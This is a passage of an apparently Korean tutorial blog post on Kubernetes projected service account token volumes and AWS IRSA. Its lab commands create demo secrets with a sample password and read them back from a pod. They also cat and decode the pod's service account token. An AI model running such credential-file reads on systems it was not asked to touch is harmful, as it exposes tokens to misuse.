          audience: vault&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://kubernetes.io/ko/docs/reference/access-authn-authz/service-accounts-admin/#%EB%B0%94%EC%9D%B8%EB%94%A9%EB%90%9C-%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%96%B4%EC%B9%B4%EC%9A%B4%ED%8A%B8-%ED%86%A0%ED%81%B0-%EB%B3%BC%EB%A5%A8&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Bound Service Account Token Volume&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;FEATURE STATE:&lt;/b&gt;&amp;nbsp;Kubernetes v1.22 [stable]&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://kubernetes.io/ko/docs/reference/access-authn-authz/service-accounts-admin/#%EC%84%9C%EB%B9%84%EC%8A%A4%EC%96%B4%EC%B9%B4%EC%9A%B4%ED%8A%B8-serviceaccount-%EC%96%B4%EB%93%9C%EB%AF%B8%EC%85%98-%EC%BB%A8%ED%8A%B8%EB%A1%A4%EB%9F%AC&quot;&gt;&lt;b&gt;서비스 어카운트 어드미션 컨트롤러&lt;/b&gt;&lt;/a&gt;는 토큰 컨트롤러에서 생성한 만료되지 않은 서비스 계정 토큰에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;시크릿 기반 볼륨&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;대신 다음과 같은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;프로젝티드 볼륨&lt;/b&gt;을 추가합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712848993904&quot; class=&quot;yaml&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;- name: kube-api-access-&amp;lt;random-suffix&amp;gt;
  projected:
    defaultMode: 420 # 420은 rw- 로 소유자는 읽고쓰기 권한과 그룹내 사용자는 읽기만, 보통 0644는 소유자는 읽고쓰고실행 권한과 나머지는 읽고쓰기 권한
    sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
            - key: ca.crt
              path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt; &lt;b&gt;Projected Volume&lt;/b&gt;은 다음의 세 가지로 구성됩니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;kube-apiserver로부터 TokenRequest API를 통해 얻은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;serviceAccountToken&lt;/b&gt;. 이는 기본적으로 1시간 뒤 또는 파드가 삭제될 때 만료됩니다. Service Account Token은 파드에 연결되며 kube-apiserver를 위해 존재합니다.&lt;/li&gt;
&lt;li&gt;kube-apiserver에 대한 연결을 확인하는 데 사용되는 CA 번들을 포함하는&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;configMap&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;파드의 네임스페이스를 참조하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;downwardAPI&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-projected-volume-storage/&quot;&gt;&lt;b&gt;Configure a Pod to Use a Projected Volume for Storage&lt;/b&gt;&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: secrets configMap downwardAPI serviceAccountToken의 볼륨 마운트를 하나의 디렉토리에 통합하는 기능&lt;br /&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Note:&lt;/b&gt;&amp;nbsp;serviceAccountToken&amp;nbsp;&lt;b&gt;is not a volume type.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712848993905&quot; class=&quot;less&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;apiVersion: v1
kind: Pod
metadata:
  name: test-projected-volume
spec:
  containers:
  - name: test-projected-volume
    image: busybox:1.28
    args:
    - sleep
    - &quot;86400&quot;
    volumeMounts:
    - name: all-in-one
      mountPath: &quot;/projected-volume&quot;
      readOnly: true
  volumes:
  - name: all-in-one
    projected:
      sources:
      - secret:
          name: user
      - secret:
          name: pass&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712848993906&quot; class=&quot;dockerfile&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Create the Secrets:
## Create files containing the username and password:
echo -n &quot;admin&quot; &amp;gt; ./username.txt
echo -n &quot;1f2d1e2e67df&quot; &amp;gt; ./password.txt

## Package these files into secrets:
kubectl create secret generic user --from-file=./username.txt
kubectl create secret generic pass --from-file=./password.txt

# 파드 생성
kubectl apply -f https://k8s.io/examples/pods/storage/projected.yaml

# 파드 확인
kubectl get pod test-projected-volume -o yaml | kubectl neat | yh

# 시크릿 확인
kubectl exec -it test-projected-volume -- ls /projected-volume/

kubectl exec -it test-projected-volume -- cat /projected-volume/username.txt ;echo

kubectl exec -it test-projected-volume -- cat /projected-volume/password.txt ;echo

# 삭제
kubectl delete pod test-projected-volume &amp;amp;&amp;amp; kubectl delete secret user pass&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.41.26.png&quot; data-origin-width=&quot;1836&quot; data-origin-height=&quot;252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdu3OB/btsGzC4wW4D/GNRoiDQ3FEgNpxmyAgT7E0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdu3OB/btsGzC4wW4D/GNRoiDQ3FEgNpxmyAgT7E0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdu3OB/btsGzC4wW4D/GNRoiDQ3FEgNpxmyAgT7E0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdu3OB%2FbtsGzC4wW4D%2FGNRoiDQ3FEgNpxmyAgT7E0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1836&quot; height=&quot;252&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.41.26.png&quot; data-origin-width=&quot;1836&quot; data-origin-height=&quot;252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;IRSA 소개&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;파드가 특정 IAM 역할로 Assume 할 때 토큰을 AWS에 전송하고, AWS는 토큰과 EKS IdP를 통해 해당 IAM 역할을 사용할 수 있는지 검증&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1013&quot; data-origin-height=&quot;1735&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MVMmp/btsGxAUqim8/gW76uwBrc9bEI19K8j8D6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MVMmp/btsGxAUqim8/gW76uwBrc9bEI19K8j8D6K/img.png&quot; data-alt=&quot;https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MVMmp/btsGxAUqim8/gW76uwBrc9bEI19K8j8D6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMVMmp%2FbtsGxAUqim8%2FgW76uwBrc9bEI19K8j8D6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1013&quot; height=&quot;1735&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1013&quot; data-origin-height=&quot;1735&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2545&quot; data-origin-height=&quot;1434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boaw9V/btsGxEbsDcU/Gm0zEi23HKngLoWBmW6aDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boaw9V/btsGxEbsDcU/Gm0zEi23HKngLoWBmW6aDk/img.png&quot; data-alt=&quot;https://aws.amazon.com/ko/blogs/containers/diving-into-iam-roles-for-service-accounts/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boaw9V/btsGxEbsDcU/Gm0zEi23HKngLoWBmW6aDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fboaw9V%2FbtsGxEbsDcU%2FGm0zEi23HKngLoWBmW6aDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2545&quot; height=&quot;1434&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2545&quot; data-origin-height=&quot;1434&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://aws.amazon.com/ko/blogs/containers/diving-into-iam-roles-for-service-accounts/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1789&quot; data-origin-height=&quot;905&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rTrwL/btsGw4BttMl/juUOpDfplAHCDFwcMAHUJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rTrwL/btsGw4BttMl/juUOpDfplAHCDFwcMAHUJK/img.png&quot; data-alt=&quot;https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rTrwL/btsGw4BttMl/juUOpDfplAHCDFwcMAHUJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrTrwL%2FbtsGw4BttMl%2FjuUOpDfplAHCDFwcMAHUJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1789&quot; height=&quot;905&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1789&quot; data-origin-height=&quot;905&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AWS SDK는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;AWS_ROLE_ARN&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;및&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;AWS_WEB_IDENTITY_TOKEN_FILE&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이름의 환경변수를 읽어들여 Web Identity 토큰으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;AssumeRoleWithWebIdentify&lt;/b&gt;를 호출함으로써 Assume Role을 시도하여 임시 자격 증명을 획득하고, 특정 IAM Role 역할을 사용할 수 있게 됩니다.&lt;/li&gt;
&lt;li&gt;이때 Assume Role 동작을 위한 인증은 AWS가 아닌 외부 Web IdP(&lt;b&gt;EKS IdP&lt;/b&gt;)에 위임하여 처리합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbhJtR/btsGyEu7EzB/mwXvmgcaRKMEn0bgcGyK41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbhJtR/btsGyEu7EzB/mwXvmgcaRKMEn0bgcGyK41/img.png&quot; data-alt=&quot;https://tech.devsisters.com/posts/pod-iam-role/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbhJtR/btsGyEu7EzB/mwXvmgcaRKMEn0bgcGyK41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbhJtR%2FbtsGyEu7EzB%2FmwXvmgcaRKMEn0bgcGyK41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;893&quot; height=&quot;286&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://tech.devsisters.com/posts/pod-iam-role/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;EKS IdP를 identity provider로 등록하고, 파드가 Web Identify 토큰을 통해 IAM 역할을 Assume 할 수 있게 Trust Relationship 설정이 필요합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://aws.amazon.com/ko/blogs/containers/diving-into-iam-roles-for-service-accounts/&quot;&gt;실습 1&lt;/a&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1712848993909&quot; class=&quot;properties&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 파드1 생성
cat &amp;lt;&amp;lt;EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test1
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      args: ['s3', 'ls']
  restartPolicy: Never
  automountServiceAccountToken: false
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod

# 로그 확인
kubectl logs eks-iam-test1

# 파드1 삭제
kubectl delete pod eks-iam-test1&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;S3 버킷 조회를 위한 AccountToken이 존재하지 않기 때문에 AccessDenied이 발생합니다.&lt;/li&gt;
&lt;li&gt;CloudTrail 이벤트 ListBuckets 확인&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=ListBuckets&quot;&gt;https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=ListBuckets&lt;/a&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=ListBuckets&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/a&gt;에서 AccessDenied를 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.20.26.png&quot; data-origin-width=&quot;1256&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ck1KAw/btsGyRuBaYp/oJwhPA6YLr9bND6f3Hy0WK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ck1KAw/btsGyRuBaYp/oJwhPA6YLr9bND6f3Hy0WK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ck1KAw/btsGyRuBaYp/oJwhPA6YLr9bND6f3Hy0WK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fck1KAw%2FbtsGyRuBaYp%2FoJwhPA6YLr9bND6f3Hy0WK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1256&quot; height=&quot;100&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.20.26.png&quot; data-origin-width=&quot;1256&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.18.11.png&quot; data-origin-width=&quot;2666&quot; data-origin-height=&quot;160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csAoxv/btsGyG7wSj6/2hWLWPwecQIQkyCgKKjY21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csAoxv/btsGyG7wSj6/2hWLWPwecQIQkyCgKKjY21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csAoxv/btsGyG7wSj6/2hWLWPwecQIQkyCgKKjY21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsAoxv%2FbtsGyG7wSj6%2F2hWLWPwecQIQkyCgKKjY21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2666&quot; height=&quot;160&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.18.11.png&quot; data-origin-width=&quot;2666&quot; data-origin-height=&quot;160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;실습 2 (Kubernetes Service Accounts)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쿠버네티스 파드에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/&quot; data-token-index=&quot;0&quot;&gt;&lt;span&gt;Kubernetes Service Account&lt;/span&gt;&lt;/a&gt;&lt;span&gt;라는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;개념을 통해 Identity가 부여됩니다.&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;Service Account가&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;생성되면 JWT 토큰이 자동으로 Secret으로 생성됩니다.&lt;/li&gt;
&lt;li&gt;Secret을 파드에 마운트하고 해당 Service Account에서 Kubernetes API 서버에 인증하는 데 사용할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712848993911&quot; class=&quot;vala&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 파드2 생성
cat &amp;lt;&amp;lt;EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test2
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod
kubectl get pod eks-iam-test2 -o yaml | kubectl neat | yh
kubectl exec -it eks-iam-test2 -- ls /var/run/secrets/kubernetes.io/serviceaccount
kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ;echo

# aws 서비스 사용 시도
kubectl exec -it eks-iam-test2 -- aws s3 ls

# 서비스 어카운트 토큰 확인
SA_TOKEN=$(kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $SA_TOKEN

# jwt 혹은 아래 JWT 웹 사이트 이용 https://jwt.io/
jwt decode $SA_TOKEN --json --iso8601
...

#헤더
{
  &quot;alg&quot;: &quot;RS256&quot;,
  &quot;kid&quot;: &quot;1a8fcaee12b3a8f191327b5e9b997487ae93baab&quot;
}

# 페이로드 : OAuth2에서 쓰이는 aud, exp 속성 확인! &amp;gt; projectedServiceAccountToken 기능으로 토큰에 audience,exp 항목을 덧붙힘
## iss 속성 : EKS OpenID Connect Provider(EKS IdP) 주소 &amp;gt; 이 EKS IdP를 통해 쿠버네티스가 발급한 토큰이 유요한지 검증
{
  &quot;aud&quot;: [
    &quot;https://kubernetes.default.svc&quot;  # 해당 주소는 k8s api의 ClusterIP 서비스 주소 도메인명, kubectl get svc kubernetes
  ],
  &quot;exp&quot;: 1716619848,
  &quot;iat&quot;: 1685083848,
  &quot;iss&quot;: &quot;https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6&quot;,
  &quot;kubernetes.io&quot;: {
    &quot;namespace&quot;: &quot;default&quot;,
    &quot;pod&quot;: {
      &quot;name&quot;: &quot;eks-iam-test2&quot;,
      &quot;uid&quot;: &quot;10dcccc8-a16c-4fc7-9663-13c9448e107a&quot;
    },
    &quot;serviceaccount&quot;: {
      &quot;name&quot;: &quot;default&quot;,
      &quot;uid&quot;: &quot;acb6c60d-0c5f-4583-b83b-1b629b0bdd87&quot;
    },
    &quot;warnafter&quot;: 1685087455
  },
  &quot;nbf&quot;: 1685083848,
  &quot;sub&quot;: &quot;system:serviceaccount:default:default&quot;
}

# 파드2 삭제
kubectl delete pod eks-iam-test2&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.28.35.png&quot; data-origin-width=&quot;2652&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8n1Uz/btsGwP5bHU5/dRHsrSdL73uWGIulEXsE21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8n1Uz/btsGwP5bHU5/dRHsrSdL73uWGIulEXsE21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8n1Uz/btsGwP5bHU5/dRHsrSdL73uWGIulEXsE21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8n1Uz%2FbtsGwP5bHU5%2FdRHsrSdL73uWGIulEXsE21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2652&quot; height=&quot;168&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.28.35.png&quot; data-origin-width=&quot;2652&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;실습 3&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(AWS IAM 액세스가 필요한 파드를 변경하기 위한 Webhook)&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvS1kE/btsGzhfg3OI/ZPCH7tQIK8cJy5oYOLsVRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvS1kE/btsGzhfg3OI/ZPCH7tQIK8cJy5oYOLsVRk/img.png&quot; data-alt=&quot;https://dev.to/aws-builders/auditing-aws-eks-pod-permissions-4637&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvS1kE/btsGzhfg3OI/ZPCH7tQIK8cJy5oYOLsVRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvS1kE%2FbtsGzhfg3OI%2FZPCH7tQIK8cJy5oYOLsVRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;1036&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://dev.to/aws-builders/auditing-aws-eks-pod-permissions-4637&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
